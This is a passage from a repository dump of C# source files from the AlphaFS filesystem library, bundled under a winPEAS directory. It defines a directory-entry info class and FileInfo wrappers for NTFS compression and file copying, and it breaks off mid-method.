    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] Contains information about files in the specified directory. Used for directory handles.</summary>\n   [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dir\")]\n   [Serializable]\n   [SecurityCritical]\n   public sealed class FileIdBothDirectoryInfo\n   {\n      internal FileIdBothDirectoryInfo(NativeMethods.FILE_ID_BOTH_DIR_INFO fibdi, string fileName)\n      {\n         CreationTimeUtc = DateTime.FromFileTimeUtc(fibdi.CreationTime);\n         LastAccessTimeUtc = DateTime.FromFileTimeUtc(fibdi.LastAccessTime);\n         LastWriteTimeUtc = DateTime.FromFileTimeUtc(fibdi.LastWriteTime);\n         ChangeTimeUtc = DateTime.FromFileTimeUtc(fibdi.ChangeTime);\n\n         AllocationSize = fibdi.AllocationSize;\n         EndOfFile = fibdi.EndOfFile;\n         ExtendedAttributesSize = fibdi.EaSize;\n         \n         FileAttributes = fibdi.FileAttributes;\n         FileId = fibdi.FileId;\n         FileIndex = fibdi.FileIndex;\n         FileName = fileName;\n\n         // ShortNameLength is the number of bytes in the short name; since we have a unicode string we must divide that by 2.\n         ShortName = new string(fibdi.ShortName, 0, fibdi.ShortNameLength / UnicodeEncoding.CharSize);\n      }\n\n\n\n\n      /// <summary>The number of bytes that are allocated for the file. This value is usually a multiple of the sector or cluster size of the underlying physical device.</summary>\n      public long AllocationSize { get; set; }\n\n\n      /// <summary>Gets the time this entry was changed.</summary>\n      /// <value>The time this entry was changed.</value>\n      public DateTime ChangeTime\n      {\n         get { return ChangeTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>Gets the time, in coordinated universal time (UTC), this entry was changed.</summary>\n      /// <value>The time, in coordinated universal time (UTC), this entry was changed.</value>\n      public DateTime ChangeTimeUtc { get; set; }\n\n\n      /// <summary>Gets the time this entry was created.</summary>\n      /// <value>The time this entry was created.</value>\n      public DateTime CreationTime\n      {\n         get { return CreationTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>Gets the time, in coordinated universal time (UTC), this entry was created.</summary>\n      /// <value>The time, in coordinated universal time (UTC), this entry was created.</value>\n      public DateTime CreationTimeUtc { get; set; }\n\n\n      /// <summary>The size of the extended attributes for the file.</summary>\n      public int ExtendedAttributesSize { get; set; }\n\n\n      /// <summary>The absolute new end-of-file position as a byte offset from the start of the file to the end of the file. \n      /// Because this value is zero-based, it actually refers to the first free byte in the file. In other words, <b>EndOfFile</b> is the offset to \n      /// the byte that immediately follows the last valid byte in the file.\n      /// </summary>\n      public long EndOfFile { get; set; }\n\n\n      /// <summary>The file attributes.</summary>\n      public FileAttributes FileAttributes { get; set; }\n\n\n      /// <summary>The file ID.</summary>\n      public long FileId { get; set; }\n\n\n      /// <summary>The byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n      /// in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order.\n      /// </summary>\n      public long FileIndex { get; set; }\n\n\n      /// <summary>The name of the file.</summary>\n      public string FileName { get; set; }\n\n\n      /// <summary>Gets the time this entry was last accessed.</summary>\n      /// <value>The time this entry was last accessed.</value>\n      public DateTime LastAccessTime\n      {\n         get { return LastAccessTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>Gets the time, in coordinated universal time (UTC), this entry was last accessed.</summary>\n      /// <value>The time, in coordinated universal time (UTC), this entry was last accessed.</value>\n      public DateTime LastAccessTimeUtc { get; set; }\n\n\n      /// <summary>Gets the time this entry was last modified.</summary>\n      /// <value>The time this entry was last modified.</value>\n      public DateTime LastWriteTime\n      {\n         get { return LastWriteTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>Gets the time, in coordinated universal time (UTC), this entry was last modified.</summary>\n      /// <value>The time, in coordinated universal time (UTC), this entry was last modified.</value>\n      public DateTime LastWriteTimeUtc { get; set; }\n\n\n      /// <summary>The short 8.3 file naming convention (for example, FILENAME.TXT) name of the file.</summary>\n      public string ShortName { get; set; }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Compression/FileInfo.Compress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>[AlphaFS] Compresses a file using NTFS compression.</summary>      \n      [SecurityCritical]\n      public void Compress()\n      {\n         Device.ToggleCompressionCore(Transaction, false, LongFullName, true, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Compression/FileInfo.Decompress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed file.</summary>\n      [SecurityCritical]\n      public void Decompress()\n      {\n         Device.ToggleCompressionCore(Transaction, false, LongFullName, false, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo CopyToMoveTo/FileInfo.CopyTo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Copies an existing file to a new file, disallowing the overwriting of an existing file.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing file by default.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Copies an existing file to a new file, allowing the overwriting of an existing file.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"overwrite\"><c>true</c> to allow an existing file to be overwritten; otherwise, <c>false</c>.</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath, bool overwrite)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, overwrite ? CopyOptions.None : CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, disallowing the overwriting of an existing file.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing file by default.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"overwrite\"><c>true</c> to allow an existing file to be overwritten; otherwise, <c>false</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath, bool overwrite, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, overwrite ? CopyOptions.None : CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, copyOptions, null, false, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n      \n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, copyOptions, null, false, null, null, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A new <see cref=\"FileInfo\"/> instance with a fully qualified path.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, null, null, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n      \n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      ///   <para>and the possibility of notifying the application of its progress through a callback function.</para>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, false, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, false, progressHandler, userProgressData, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      ///   <para>and the possibility of notifying the application of its progress through a callback function.</para>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      ///   <para>and the possibility of notifying the application of its progress through a callback function.</para>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The name of the new file to copy to.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, 